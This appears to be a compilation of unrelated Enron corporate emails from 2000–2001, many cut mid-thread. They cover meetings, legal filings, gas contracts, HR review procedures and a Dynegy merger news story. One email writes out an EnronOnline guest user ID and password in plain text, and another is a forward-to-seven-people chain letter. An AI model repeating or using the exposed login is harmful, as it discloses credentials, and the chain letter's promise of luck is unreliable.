We regret that we have had to make these changes.  We must continue to look for ways to reduce operating expenses through this transition period.
  
I sat down with the tech guys and wrote down every word... it seems to work fine. Perhaps a little slow but not that bad.	BT 

---------------------- Forwarded by Randall L Gay/HOU/ECT on 07/25/2000 10:50 

"Barquin, John" <jbarquin@velaw.com> on 07/25/2000 10:51:07 AM
To: "'rgay@enron.com'" <rgay@enron.com>, "Lammers, Rick (Enron)" 
<richard.a.lammers@enron.com>, "'Chris.M.J.Dutton@SI.SHELL.COM'" 
<Chris.M.J.Dutton@SI.SHELL.COM>, "'mnj@dentonwildesapte.com'" 
<mnj@dentonwildesapte.com>, "Tarry, Steve" <STarry@velaw.com>, "Rankin, 
Cliff" <CRankin@velaw.com>, "Novak, John (Enron)" <john.novak@enron.com>
cc:  
Subject: Critical Path Call

Melissa Raciti is asking whether we can hold the critical path call on
Friday rather than Wednesday.  Frank will be back from vacation tomorrow,
and the Lenders are hoping to use the 10am EDT time slot for an internal
call.  Does anyone object to this change in schedule?

I thought Derek was great.

	Peter Keohane 05/14/2001 11:53 AM 	   To: Mark E Haedicke/HOU/ECT@ECT, Vicki Sharp/HOU/EES@EES  cc: Rob Milnthorp/CAL/ECT@ECT, Elizabeth Sager/HOU/ECT@ECT, Jeffrey T Hodge/HOU/ECT@ECT  Subject: New Counsel - Derek Flaman	

I would like to get back to Derek on his trip to Houston last week.  We (Canada) have signed off, including commercial approval from Milnthorp and Cross, subject to satisfactory interviews in Houston.  Note:  Jim Derrick was not available but have scheduled May 25 to send Derek back to Houston to meet with Jim.  Peter.

We are honored to assist another management team with the following
placement:

ALFONSO TRABULSI, Senior Analyst-Gas Accounting
Gas trading company.
January 3, 2002

Please join us in wishing Alfonso all the best in his new life.

THANK YOU CLIENTS & FRIENDS for your faithful support.

"The greatest high you can get in life is by helping somebody."
Timothy Stackpole,
N.Y.C. firefighter who perished while rescuing people in the World Trade
Center attacks

May we all enJOY the happiest of New Years in 2002,
Mark

W. Mark Shirley, CPA
& the Kainon Group
www.kainon.com

IN 2001, THE KAINON GROUP CELEBRATED:

7 Years In Business,

93 Contract Assignments through its "Professionals On Demand" program,

239 Placements via its "Finding The Best Fast" program,

3rd consecutive year as a Top 25 Search Firm

K   A   I   N   O   N      G   R   O   U   P

Assisting, Assessing and Assembling Management Teams
and other supporting professionals, in a diverse array of industries,
including:
CEOs, CFOs, CIOs, CONTROLLERS, CPAS
and other supporting professionals, including
Accounting Managers, Accountants, Analysts,
HR Directors, Marketing Managers and Internal Auditors

In November 1994, the Kainon Group was formed by
W. Mark Shirley, CPA, formerly a Partner with a Big Five International
Consulting & CPA firm
(Houston & Toronto: 1980-1994).

kainon (kay'-nun), n. Greek, "new life"

God is the silent partner in all great enterprises.
                                              - Abraham Lincoln

The KOMP Horticultural contract for the maintenance of leased floor plants has been cancelled.  Plant maintenance is not being performed on the leased plants in the Enron Building on floors 3 through 49.  Rather than removing the plants from the building, KOMP Horticultural has chosen to offer the plants to Enron employees for sale.  On January 16th from 11:00 AM to 2:00 PM, KOMP will have a table on the south side of the plaza, by the up escalator, for those employees interested in purchasing a plant. At the time of purchase, KOMP will give a special sticker to place on the container of the sold plant (do not bring plants to the plaza for purchase).  Plants will not be allowed to be removed from the building unless they have the KOMP sold sticker on the container.

The following guidelines must be followed:
?	Plants will be priced at $30 plus tax for floor plants; $10 plus tax for desk-top plants.
?	Only potted plants in black plastic containers are for sale.  Plants in chrome, bronze, clay or any other outside containers are not for sale. 
?	Employees must remove all plants from the building themselves.  Building Services cannot make pick-ups or deliveries.  
?	Security will be inspecting plants to assure they have the appropriate sticker when they are removed from the premises. 
?	Payment must be in cash or a personal check made out to KOMP Horticultural.    

If you have any questions please contact Richard Hensch at ext. 35522.

 Jacksonville, FL
 $92 
 each way
 
 Midland/Odessa, TX
 $52 
 each way
 
 Nashville, TN
 $66 
 each way
 
 New Orleans, LA
 $40 
 each way
 
 Tampa Bay, FL
 $92 
 each way
 
Hello all,

My apologies for my tardiness.

Please see attached information for Q2.  Feel free to check my numbers, in
case I missed something in the foot notes - I think this is on track though.

Cheers,

 - Patten Case Q2.doc
 - Patten Case Q2.xls

Kimberly Kupiecki
Senior Account Executive
A&R Partners
kkupiecki@arpartners.com
(650) 762 2800 main
(650) 762 2825 direct
fax (650) 762 2801

---------------------- Forwarded by Carol St Clair/HOU/ECT on 04/13/2000 
06:04 PM ---------------------------
   
	From:  Steve Van Hooser                           04/13/2000 05:56 PM
	
To: Carol St Clair/HOU/ECT@ECT, Clair
cc:  
Subject: Thanks!

FYI

Steve
---------------------- Forwarded by Steve Van Hooser/HOU/ECT on 04/13/2000 

Melinda Winn@EES
04/13/2000 04:32 PM
To: Steve Van Hooser/HOU/ECT@ECT
cc:  

Steve, thanks for the update.  Most current resume is attached.  I appreciate 
your help!

Melinda

--
Tom Hahn
APB Energy, Inc.
6320 Quadrangle Dr. Suite 380
Chapel Hill, NC  27514
(919) 969-9779
www.apbenergy.com

 - 1019optsheet.xls 
 - 1017 Cash Sheet.xls 
 - 1018 Cash Sheet.xls 
 - 1019 Cash Sheet.xls 
 - tom.hahn.vcf 

Jeff is just finishing entering his deals - he got stuck in a meeting.  Sorry!

11/21/2000 02:10 PM
cc:  

Subject: Jeff Richter

Has Jeff entered his deals yet because Prebon is waiting to checkout with me.

Thanks

Dear Theresa,

service, has found fare changes in 1 of your markets.

http://dps1.travelocity.com:80/fwemindiv.ctl?fw=00022811976227&Service=TRAVELOCITY&LANG=EN

FARES

*  DEN-SMF   FROM: Denver, CO (DEN)
             TO:   Sacramento, CA (SMF)
             $435.00        $158.00      +$277.00

resource!

aye aye.

From: 	Kaufman, Paul  
Sent:	Wednesday, November 07, 2001 11:30 AM

This morning.  If I don't give you a call by 11:30, call me.  

Sent:	Wednesday, November 07, 2001 9:17 AM
To:	Kaufman, Paul
Subject:	

When do you want to call Hedy and Bev?

Very cute of God Mother and God Son.
?
Ben and Jack in matching outfits.
?
Charlie in his tux.
?
Michaela Robinson and Jim Fredianmichaela.jim@att.net
 - Thanksgiving1.jpg
 - Thanksgiving2.jpg
 - Thanksgiving3.jpg

Tammie Schoppe
Enron Americas-Office of the Chair
Assistant to Louise Kitchen
713.853.4220 office 
713.646.8562 fax
713.253.2131 mobile

Given all of the recent news about California-related litigation, I thought that it would be a good idea to hold an information session for people on the desk about what is happening with Enron on this front.  I have asked Richard Sanders, who is ENA's chief litigation lawyer, to make a special trip to Portland to talk to us about it.  He will be prepared to review the foundation of all of the current lawsuits that are ongoing and what these lawsuits mean to Enron and to us as traders and marketers.  

I strongly encourage you to come to this meeting as I think that you'll find it very useful. 

Date:  Thursday, June 7
Time:  3:30 p.m.
Place: Mt. Hood
Re:      Update by Richard Sanders

Please confirm with Debra that you have received this and that you intend to attend.  Let me know if you can't make it.

David 

Could you please look at this?
Thanks
Elizabeth
----- Forwarded by Elizabeth Sager/HOU/ECT on 05/23/2000 04:24 PM -----

	05/23/2000 11:55 AM
		 
		 To: Janet H Moore/HOU/ECT@ECT, Elizabeth Sager/HOU/ECT@ECT
		 cc: 
		 Subject: Re: FW: Draft Marketing Affiliate FERC Filings

I am buried at the moment.  Could you take a look at this?
---------------------- Forwarded by Sheila Tweed/HOU/ECT on 05/23/2000 11:54 
From: Christi L Nicolay on 05/23/2000 10:10 AM
To: Sarah Novosel/Corp/Enron@ENRON
cc: Sheila Tweed/HOU/ECT@ECT 
Subject: Re: FW: Draft Marketing Affiliate FERC Filings  

Sarah--Sheila Tweed needs to see this for the peakers.

Sheila--Can you check this attached update for the peaker information?  I am 
reviewing it too.

Sarah Novosel@ENRON
05/23/2000 09:47 AM
To: awenner@velaw.com, Christi L Nicolay/HOU/ECT@ECT, Mary Hain/HOU/ECT@ECT
cc:  
Subject: FW: Draft Marketing Affiliate FERC Filings

Adam:  Will you be in charge of this filing on behalf of the Wind companies?  
Christi:  Will you be in charge of this filing on behalf of the peakers, or 
should we include someone from that group in the process as well.

Mary:  This should include all the people who need to be involved.  Also, EES 
has a section 203 application pending before FERC now to acquire PG&E Energy 
Services.  I want to wait to file this tariff with FERC until we get FERC 
approval on the PG&E ES application (we hope to get FERC authorization by 
mid-June).

---------------------- Forwarded by Sarah Novosel/Corp/Enron on 05/23/2000 

Mary Hain@ECT
05/22/2000 05:42 PM
To: Christi Nicolay, Sarah Novosel/Corp/Enron@ENRON
cc:  

I've forwarded this to Jay Dudley, Vicki Sharp, Paul Kaufman, and Dennis 
Benevides.  Who else needs to be in the loop on this?
---------------------- Forwarded by Mary Hain/HOU/ECT on 05/22/2000 03:43 PM 

05/22/2000 06:59 AM
cc:  

Mary:

Per my voicemail message.

Sarah

---------------------- Forwarded by Sarah Novosel/Corp/Enron on 05/10/2000 
03:19 PM ---------------------------

"Wenner, Adam" <awenner@velaw.com> on 05/10/2000 02:58:27 PM
To: "'Novosel, Sarah'" <snovose@enron.com>
cc:  

From: Wenner, Adam
Sent: Wednesday, May 10, 2000 3:57 PM
To: 'Novosel, Sarah'

From: Bobbish, Donna J.
Sent: Friday, May 05, 2000 4:46 PM
To: 'snovose@enron.com'; 'mhain@ect.enron.com'
Cc: Wenner, Adam; Hight, Helen M.; Decker, John
Subject: Draft Marketing Affiliate FERC Filings

Please find attached the draft Enron Marketing Affiliate FERC documents.
Please call or e-mail with any questions and/or comments.  Thank you.  Donna

 - FINAL Enron Subs - Changes in Tariff.WPD
 - Rate Schedule A thru G.DOC

Here is the information you need:
- brogers
- benjamin.rogers@enron.com
- 3-7998

Thanks and let me know if you need anything else.
Ben

Start Date: 4/26/01; HourAhead hour: 10;  No ancillary schedules awarded.  

Schedules\2001042610.txt

     Details: (Hour: 10 / Preferred:  13.00 / Final:  12.89)
  SC_ID: Wheelabrat
  TRANS_DATE: 4/26/01
  UNIT_ID: MARTEL_2_AMFOR

Hi Pete,

We want the GE form to be on an individual turbine basis.  As for work 
priorities, I would put it in front of the City of Austin agreement.

Thanks,

Kay

See me about this.
From: Smith, William A. [mailto:William.A.Smith@ElPaso.com]
Sent: Wednesday, December 19, 2001 5:33 PM
To: Kean, Steven J.
Subject: 

Steve,
Thanks for your help.  I've passed along your information to Byron.  Clark
says hello and we all wish you an especially merry Christmas.  Regards,
Bill Smith

This email and any files transmitted with it from the ElPaso 
Corporation are confidential and intended solely for the 
use of the individual or entity to whom they are addressed. 
If you have received this email in error please notify the 
sender.

Louise,

Can we grant him guest access to EOL again? He is he same 
person who requested it a few weeks ago. Evidently he was busy
working on another project.

Vince

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 07/26/2000 
09:06 AM ---------------------------

"Edward Krapels" <ekrapels@esaibos.com> on 07/25/2000 11:09:47 AM
Please respond to ekrapels@esaibos.com
cc:  
Subject: Energycast

I hope your trip to Australia was successful. It's one of my favorite places
to go.

I've copied you on the email to Mike initiating Enron's trial service to
Energycast. Thanks for helping to set this up.

Would you ask the authorities in Enron to refresh my access to Enrononline?
My Guest User ID as ENA61296 and my guest password was TR84BY13. They no
longer work, probably because I haven't visited the site in months as we
were in full development mode on Energycast.

Vince, you will note in our website references to forward prices of power in
Nepool, NYPP, and PJM. We use Reuters as a reference -- not satisfactory. If
your traders like Energycast and Enron became a client, would Enron consider
linking its prices to our site? We have to improve over the Reuters quotes
and regard Enrononline or Bloomberg as the best candidates. Over time, as
our service spreads I believe this could help generate deal flow for your
traders.

Ed

I'll check the Global Database to see if I can find it.  Did Shonnie paper 
that purchase agreement?

	Mark Whitt@ENRON
	Sent by: Mark Whitt@ENRON
	12/19/2000 06:20 PM
		 
		 To: Gerald Nemec/HOU/ECT@ECT
		 cc: 
		 Subject: Wind and Powder River Purchase Contracts

Do you know th contract # for Howell?

----- Forwarded by Mark Whitt/NA/Enron on 12/19/2000 05:19 PM -----

	Nicole Cortez
	Sent by: Nicole Cortez
	12/19/2000 03:15 PM
		 
		 To: Melissa Graves/HOU/ECT@ECT
		 cc: Mark Whitt/NA/Enron@Enron

Powder River
 P96023720 Kennedy
 P96027277 Wellstar
 P96023736 Independent
 P96023737 Ocean Energy
 P96028270 MTG Operating
 P96028454 Phillips Petroleum
 P96038435 Coleman Oil & Gas
 P96040523 Quantum Energy
 P96030216 Yates

Wind River
 P96022315 North Central Oil

The only purchase agreement I have not been able to locate is the Howell one 
(wind river), I will let you know as soon as I have it.  Let me know if you 
need anything else.

Start Date: 4/25/01; HourAhead hour: 20;  HourAhead schedule download failed. 

Hello:
I am John Arnold.  I believe you're looking for Jeff Arnold.

pfse@dynegy.com on 09/27/2000 05:30:27 PM
To: Jeff.Arnold@enron.com
cc:  
Subject: Re: Evening

jeff,

thanks for the directions - i have already forwarded them home.

tonight is not good for me but perhaps one day we will finally connect now 
that
we are closer!

i've been thinking about sunday and hope you have a deck of cards to play with
(perhaps 2 decks of uno cards).

Michael,

The science of measuring operational risk is in its early stages of 
development.
There are really no cook-book  solutions. One has to use creativity and a lot
of common sense.

Vince

cc:  
Subject: Operational Risk

Mr. Kaminsky,

Recently, I read articles published by GARP and monographs in a book 
published by GARP.  Although they are excellent sources of introduction to 
operational risk, none of them have any details on the "how to."

If you know of a good book or book(s) could you recommend one?  

Thank you.

Michael Kim

Well, aren't you the quick one.

Jeff is a terrific guy, well-respected in the legal department and on the 
commercial side.

Kay

"Keffer, John" <JKeffer@KSLAW.com> on 04/20/2001 04:31:57 PM
To: "C. Kay Mann (E-mail)" <Kay.Mann@enron.com>, "'jeff.hodge@enron.com'" 
<jeff.hodge@enron.com>
cc:  

Subject: Baseball

Kay and Jeff-please check your calendars to see if you can join me at Enron
Field at 7:05 PM on May 8 to watch the Astros vs. Phillies.

Larry and Raetta, did Randy do this on his own?  Thanks. Lynn
 
From: Bryan, Randy 
Sent: Thursday, July 12, 2001 9:44 AM
To: Buchanan, John; Kowalke, Terry; Blair, Lynn; Blair, Jean; Bryan, Randy; Callans, Nancy; Carr, James; Clapper, Karen; Perry, Katherine; Porter, Diana; Walden, Shirley; Washington, Kathy; Wilkens, Jerry; Adams, Jean; Benningfield, Robert; Dykes, Tangie; Forbish, Sherry; Greaney, Chris; Hibbard, Scott; Janzen, Randy; Linhart, Joe; McDaniel, Janet; Scurlock, Debra; Sturr, Kathy; Woodson, Harry; Zadow, Raetta; Berger, Larry
Subject: New Journal Voucher

Attached is a new journal voucher in excel format, which will allow MSR's to electronically file their JV's on the network.  Dan Fancler's group has approved the new JV for immediate use.  Let me know if you have any questions or problems with the new JV. Thanks.
 
Randy Bryan 
Market Services Representative 
Northern Natural Gas Company 
(713) 853-0438 

	Sally out of office

Date:		8/29/2000
Time:		8:00 AM (Central Standard Time)

Daren

We just did a deal for the rest of the month for 10,000/d at meter # 1552 
QE-1 @ $4.355 .... can you let me and Robert Lloyd know what the sitara # is?

Thanks

I am working on getting the Bowie contract.  Meanwhile, I spoke to the B & J 
attorney.  He asked if Enron wanted to continue to buy the gas.  I told him 
that his client should contact you directly so that you guys could discuss 
price.

Stacy

	James T Javins@EES
	04/23/2001 08:15 AM
		 
		 To: Stacy E Dickson/HOU/ECT@ECT
		 cc: 
		 Subject: contract

Bowie, Inc. left me this e-mail this morning.  He would like to have a copy 
of his gas purchase agreement.  Per bowie, the contract number might be 
96-022415.

Thanks

Jim
---------------------- Forwarded by James T Javins/DUB/EES on 04/23/2001 
09:12 AM ---------------------------

Oilpump@aol.com on 04/23/2001 08:58:33 AM
To: JJavins@enron.com
cc:  
Subject: contract

Any luck..thanks..have a great Monday.

From: William Scholtes [mailto:premierpumpcompany@home.com]
Sent: Thursday, October 04, 2001 11:33 AM
To: Scholtes, Diana
Subject: 

From the desk of
Bill Scholtes
Premier Pump Company

Sara,
Sorry, I was too assiduous in deleting what I thought would be duplicated on 
this thread, so I'm working from memory on comments before Guenther's last 
contribution.

Data for pricing is owned by Enron Credit Ltd (generated by employees of 
Enron Power Operations Ltd whose costs are charged to ECL)
Information deals are done with ECL (Derivative transactions are currently 
with Enron North America Corp, probably with Enron Credit Inc in the future)
The Enron staff who would be looking at this are employed by Enron North 
America Corp which is why I suggested ENAC as the named party.
They clearly act for ECL on information deals.
If it's OK to use ECL then that would be easier for us.

I have no objections to suggestions that I should be promoted! In the 
meantime, I am a board director of ECL and have both legal and group 
management authority to sign contracts (with a lawyer's initials being a 
prerequisite).

Regards,
Richard
 
From: Sara Shackleton on 16/02/2001 08:44 CST
To: Guenther Klar/LON/ECT@ECT, Richard Sage/LON/ECT@ECT, Denis 
O'Connell/LON/ECT@ECT
cc: Janine Juggins/LON/ECT@ECT, Tana Jones/HOU/ECT@ECT 

Subject: Re: Confidentiality Agreement with Scana  

Guenther:

Thanks for the response.  I'll wait to hear from Richard Sage as to who owns 
the information.
Only officers at the VP level or higher may execute binding contracts for all 
Enron U.S. companies (bylaws).  I do not know the "rule" for non-U.S. 
companies (although I suspect the articles of association would contain that 
information). 

	Guenther Klar
	02/16/2001 08:24 AM
		
		 cc: Janine Juggins/LON/ECT@ECT, Richard Sage/LON/ECT@ECT, Denis 
O'Connell/LON/ECT@ECT, Tana Jones/HOU/ECT@ECT
		 Subject: Re: Confidentiality Agreement with Scana

Sara

You are right about the tax issue - in fact, we are in the process of 
replacing the UK directors and officers of Enron Credit Inc with US directors 
and officers.

The entity that signs up to the confidentiality agreement ought to be the one 
that owns the information to be supplied.  Based on conversations I have had 
with Richard Sage, I had formed the impression that the owner of the 
information was Enron Credit Ltd.  If this is right, we should pursue your 
first suggestion.  Otherwise, given that the tax issue is being rectified and 
this should therefore be an isolated incident, I think we can wear the tax 
risk inherent in your second suggestion.  Though I do wonder whether an 
officer of Enron Credit Inc, such as Richard Sage (currently), could sign, 
rather than a director?

Guenther Klar

Shouldn't we go to LA Tuesday so we can be in the office on Monday after 
being away Thurs and Fri?

This is a summary of the comments we've received so far from the other parties who filed on October 15.  I'll summarize the others as they come in and redistribute this report.

Kathy/Brian,

As I'm sure you know we are trying to determine what is causing the Canadian 
VAR to be so high.  One possible cause that we would like your help 
investigating is the Curve Codes that are being loaded in the position files 
that are manually loaded into the system each night.  It is my understanding 
that positions will be correct even if the curves loaded are spelled  
incorrectly. However, incorrect curve names will result in the positions not 
being captured in the VAR calculation.  Please verify that all the curves are 
spelled correctly in all position files.  

Please give me a call if you have any questions.

Thanks,
Robin

---------------------- Forwarded by Judy Hernandez/HOU/ECT on 04/07/2000 

"SOCORRO HERNANDEZ" <SUHERNAN@LLGM.COM> on 04/07/2000 09:26:35 AM
To: <Judy.Hernandez@enron.com>, <IRENEpepe@hotmail.com>, 
<silviamanzanales@hotmail.com>, "A. SUE GONZALES-GUEVARA" 
<AGUEVARA@LLGM.COM>, "JESSICA VEGA" <JVEGA@LLGM.COM>, "KATHY MARIE MOORE" 
<KMOORE@LLGM.COM>, "MARIA SOLIZ" <MSOLIZ@LLGM.COM>, "VALERIE WALLACE" 
<VWALLACE@LLGM.COM>
cc:  
Subject: THE BEST THINGS IN LIFE

* THE BEST THINGS IN LIFE *
 >> > >
Falling in love.
Laughing so hard your face hurts.
Hot shower.
No lines at the Super Walmart.
A special glance.
Getting mail.
Taking a drive on a scenic road.
Hearing your favorite song on the radio.
Lying in bed listening to the rain outside.
Hot towels out of the dryer.
Finding the sweater you want is on sale for half price.
Chocolate milkshake.
A long distance phone call.
A bubble bath.
Giggling.
A good conversation.
The beach.
Finding a $20 bill in your coat from last winter.
Laughing at yourself.
Midnight phone calls that last for hours.
Running through sprinklers.
Laughing for absolutely no reason at all.
Having someone tell you that you're beautiful.
Laughing at an inside joke.
Friends.
Falling in love for the first time.
Accidentally overhearing someone say something nice about you.
Waking up and realizing you still have a few hours left to sleep.
Your first kiss.
Making new friends or spending time with old ones.
Playing with a puppy.
Late night talks with your roommate
Having someone play with your hair.
Sweet dreams.
Hot chocolate.
Road trips with friends.
Swinging on swings.
Watching a good movie cuddled up on a couch with someone you love.
Wrapping presents under the Christmas tree while eating cookies and drinking  
eggnog.
Song lyrics printed inside your new CD so you can sing along without feeling 
stupid.
Going to a really good concert.
Making eye contact with a cute stranger.
Making chocolate chip cookies!
Hugging the person you love.
Watching the expression someone's face as they open a much-desired present 
from you.
Watching the sunrise.
Getting out of bed every morning and thanking God for another beautiful day.
 >> > >
PASS ON THESE NATURAL HIGHS TO AT LEAST 7 PEOPLE IN THE NEXT HALF HOUR AND 
GOOD-LUCK WILL COME TO YOU IN THE NEXT FEW HOURS!!

Many people will walk in and out of your life, but only true riends
will leave a footprint in your heart.

 >=====
 >"Deep inside the heart of every man there lies a deep, yawning chasm which 
can only be filled by the one true God."

Are we still opposing this legislation? 

Thanks,

Jim

---------------------- Forwarded by James D Steffes/NA/Enron on 04/30/2001 
10:48 PM ---------------------------

Scott Govenar <sgovenar@govadv.com> on 04/26/2001 03:00:16 PM
To: Hedy Govenar <hgovenar@govadv.com>, Mike Day <MDay@GMSSR.com>, Bev Hansen 
<bhansen@lhom.com>, Jeff Dasovich <jdasovic@enron.com>, Susan J Mara 
<smara@enron.com>, Joseph Alamo <JAlamo@enron.com>, Paul Kaufman 
<paul.kaufman@enron.com>, Michael McDonald <Michael.McDonald@enron.com>, 
Sandra McCubbin <Sandra.McCubbin@enron.com>, Rick Shapiro 
<rshapiro@enron.com>, Jim Steffes <james.d.steffes@enron.com>, Alan Comnes 
<acomnes@enron.com>, Steven Kean <Steven.J.Kean@enron.com>, Karen Denne 
<kdenne@enron.com>, "Harry.Kingerski@enron.com" <Harry.Kingerski@enron.com>, 
Mike D Smith <msmith1@enron.com>, Leslie Lawner <Leslie.Lawner@enron.com>, 
Robert Frank <rfrank@enron.com>, Ken Smith <ken@kdscommunications.com>, Janel 
Guerrero <Janel.Guerrero@enron.com>, Miyung Buster <Miyung.Buster@enron.com>, 
Jennifer Thome <Jennifer.Thome@enron.com>, Eric Letke <eletke@enron.com>, 
Mary Schoen <Mary.Schoen@enron.com>
cc:  

Subject: SBX 6 - PPA - PASSAGE

SBX 6 (Burton), which would establish a Public Power Authority, passed
out of the Assembly moments ago on a vote of 47 to 8.  The bill must now
go back to the Senate for concurrence.  I have attached the latest
version of the bill for your review.  Three amendments were taken on the
Assembly floor; (1) provide that PPA power utilized in California be
sold at cost based rates, (2) provide that the PPA can also construct
natural gas storage and transmission facilities, and (3) provide that
the state can site on public land, then auction the plans to developers.

http://info.sen.ca.gov/pub/bill/sen/sb_0001-0050/sbx1_6_bill_20010419_amended_
asm.pdf

The mid-year Performance Management cycle will begin on May 15 with the=20
opening of the PEP system (the online "Performance Evaluation Process"=20
feedback system).  You will be receiving your password for this system in a=
=20
note to go out later from PEP.  In preparation for the cycle, four training=
=20
classes will be offered to all new employees and to those employees who hav=
e=20
not previously attended training.  Enrollment for these classes will be=20
offered through the Development Center "Ernie" system.  For employees who a=
re=20
outside the Houston area, please contact your HR Representative for more=20
information. =20

These sessions will be held on :

Wednesday, May 10 from 9:00-10:00 a.m.,  and three sessions to be held on=
=20
Thursday, May 11 from 9:00-10:00 a.m.; 1:30-2:30 p.m.; and 3:00-4:00 p.m. =
=20
All sessions will be held at the Doubletree Hotel. =20

To register, click on this link to go directly to the Development Center=20

For those of you who have attended the training before and who are familiar=
=20
with the past Performance Management Process, there have been some=20
modifications:

1.  The Performance Management Process is now Enron wide.  All Enron feedba=
ck=20
forms have been reduced to three (Vice President (VP)/Managing Director=20
(MD);  Management/Professional; and Administration/Support), which all use=
=20
the following criteria:
? Innovation/Entrepreneurship
? Communication/Setting Direction
? Teamwork/Interpersonal
? Leadership/Vision/Values
? Business Instinct
? Analytical/Technical

2.  The following six performance ratings will be used consistently on the=
=20
final feedback forms across Enron:=20
 Superior
 Excellent
 Strong
 Satisfactory
 Needs improvement
 Issues

3.  There will be four recognized peer groups across the company for purpos=
es=20
of the PRC (formerly the Business Review Meetings) meeting.=20
? Commercial
? Commercial Support
? Technical
? Specialized Technical

4.  The Performance Review Process will continue to be used to facilitate:
? Promotions - up to Director level only. There will be no officer promotio=
ns=20
to VP/MD at Mid-year
? Feedback to employee
? Compensation decisions
? Sharing of performance rating at Manager=01,s discretion

5.  PRC meetings will be reviewed by both functional area & business units
Both functional areas and business units will participate in the rating of=
=20
employees to cover both solid and dotted line reporting relationships. =20
Functional PRC meetings will take place first, followed by the final busine=
ss=20
unit meetings.  Difference in views on an individual employee=01,s rating s=
hould=20
be discussed and consensus should be reached. The functional area meetings=
=20
are:

- Accounting
- Human Resources
- Government Affairs
- RAC
- Global Finance

6.  The PEP system is now available via the Intranet to allow greater acces=
s=20
from global locations and remotely. The functionality is essentially the=20
same. If you would like further information on how to use this system you m=
ay=20
gain access to the quick reference guide by clicking  on the attached=20
weblinkhttp://home.enron.com/announce/WebPEPQuickReference.pdf .  If the=20
Quick Reference does not display correctly on your PC, call your Help Desk=
=20
for assistance, or  Irma Alvarez at 713-853-1543 to get a hard copy.

7.  The general responsibilities remain the same regarding the overall=20
process:=20

Employee/Reviewer Responsibilities:
Select  5-7 reviewers
Complete self-assessment=20
Complete requested feedback forms
Reviewers who cannot provide feedback use the Decline Request feature

Supervisor Responsibilities:
Approve reviewers (at least 3 of the employee's choices)
Communicate modifications to employee
Participate in PRC meetings as required
Summarize feedback and complete appropriate feedback form
Communicate feedback to the employee

Schedule for Mid-year Performance Review

May 15   PEP System opens for feedback   =20
June 9   PEP System closes for feedback  =20
June 12   Functional/Business Unit PRC Meetings begin
July 20   PRC Meetings should finish
July 31/August 1 VP & MD PRC Meeting

As always, if you have further questions on the Performance Management=20
Process, you may contact your HR Representative.

Start Date: 10/13/01; HourAhead hour: 18;  No ancillary schedules awarded.  No variances detected. 

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2001101318.txt

     Details:

  TRANS_DATE: 10/13/01
  INTERCHG_ID: EPMI_CISO_YELLOW
     Details:

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Everyone,
 
Attached are:
 
An Agenda for our conference call on Monday 1:00 - 3:00 pm CST (call-in information attached)
Enron RTO power point presentation (goals/objectives of our effort)
Enron RTO org chart (identifying responsibilities)

For those of you in Houston, the meeting will take place in conference room EB4701
 
**Debbie - I only had a few QG email addresses.  I apologize if I missed anyone.
 
9/10 - Julie, on the 12th, Steve will be on vacation and on the 18th, Steve will be in Albuquerque and then to San Diego for our customer meeting. 
9/10 - Steve & team to meet with Danny on 9/17 @ 1:30
9/11 - Should Eric attend, ask Danny

Tani,

Look forward to meeting you in Houston. What about Wednesday,
10 a.m. or 8 a.m.?

Vince

Tani Nath
11/07/2000 08:01 AM
cc:  
Subject: Next week

Vince,

I'm  planning to be over for the management conference next week, arriving in 
Houston on Tuesday afternoon.  I would appreciate having an hour with you 
either then or on Wednesday.  Could you let me know if you are available 
please?

Thanks,
Tani

published : November 13, 2001
Watson: Enron Upside 'Clearly Worth Doing the Deal' 
Dynegy CEO Chuck Watson told the investment community Monday that he was "90% sure" that the risk/reward ratio in the planned merger with Enron Corp. made it "clearly worth doing the deal," because the issues that decimated the former market leader were with its non-core businesses. Explaining that his team had "adequately bracketed the downside," as the deal fell together over the past few weeks, Watson said he could not be "99% positive," but noted that the upside was "substantial," and said he had a "good deal of confidence...that we'll be absolutely fine here." 
Dynegy, which announced a $22 billion cash, stock and debt deal with its downtown Houston rival on Friday night, joined with Enron executives including Chairman Kenneth Lay on Monday to answer as many questions as they could in about 90 minutes. If all goes to plan, the two companies would become Dynegy Inc. by the third quarter of 2002, the clear leader in natural gas and power marketing. 
In the second quarter 2001, Enron and Dynegy combined sold a total of 36.2 Bcf/d of gas, which represented 21% of the volumes sold by the top 20 gas marketers in North America (168.9 Bcf/d), according to a ranking by NGI. Enron was the top gas marketer with 25.3 Bcf/d and Dynegy was No. 6 with 10.9 Bcf/d. Statistics provided by Maryland-based Energy Performance Review (EPR) show that Enron and Dynegy combined sold 143,824 million kWh of power in the second quarter. That total represented 14% of the power sold by the top 20 largest power marketers (1,000,961 million kWh), according to EPR. Enron was in fifth place among power marketers with 73,724 million kWh sold, while Dynegy was in sixth place with 70,100 million kWh. 
The blending of the two will not come without challenges, but Watson stressed he expects to see more opportunities than problems. The opportunity appears to have come none too soon for Enron. Greg Whalley, Enron's president and a future member of Dynegy's executive team, confirmed that without some kind of equity investment in the company, the once market leader probably could not have sustained its liquidity through the rest of this year. 
"We definitely needed to raise some type of equity capital," said Whalley. "Under normal market conditions, we would have had adequate liquidity. This was not normal for Enron. We would not have had liquidity to the end of the year." 
Asked about asset sales in anticipation of meeting federal requirements to merge, executives acknowledged there would be some, but did not elaborate. Whalley said that from an "Enron perspective, we have not spent a lot of time with Dynegy people to agree on a plan. Chuck (Watson) has to clear what is core to Dynegy. There are several (assets for consideration to sell) on the list." 
Enron Chairman Kenneth Lay, who will not be part of the management team, but may hold a place on the Dynegy board of directors, added that Enron already has $4 billion in sales under contract, all expected to close by the end of 2002. "We also have three other significant international assets under contract," said Lay, referring to the among other things, the Dabhol power plant in India. 
Once the merger of Dynegy with Enron is successfully completed, the new Dynegy will become the "primary market player in all markets," but there will be a significant difference in how the company moves forward, noted Dynegy CFO Rob Doty. Enron's financial-backed trading strategy will merge with the "strong asset base" of Dynegy's. 
Dynegy has protected itself on the downside, however. The deal includes an out for Dynegy if Enron's legal liabilities exceed $3.5 billion. 
Asked about the possibility that some of Enron's marketing and trading team may desert the company for another company, Watson, stressing that teamwork will be the guiding force going forward, said, "if I were in this industry, this is the combination I'd work for. This is an exciting day here. It's been an exciting couple of weeks" creating a "platform for something really special in the future." 
Enron's Whalley said that he believes the company will keep most of its team intact. "They're accustomed to being part of a winning deal," he said, and "going forward, they will be very pleased with the additional infusion of equity and the stability in the marketplace." As of Monday morning, Whalley said that "activity looks pretty good," and said there had been a positive reception to the merger. "Right now, people are pleased with the introduction of new liquidity, and really want to go about establishing or re-establishing the energy franchise." 
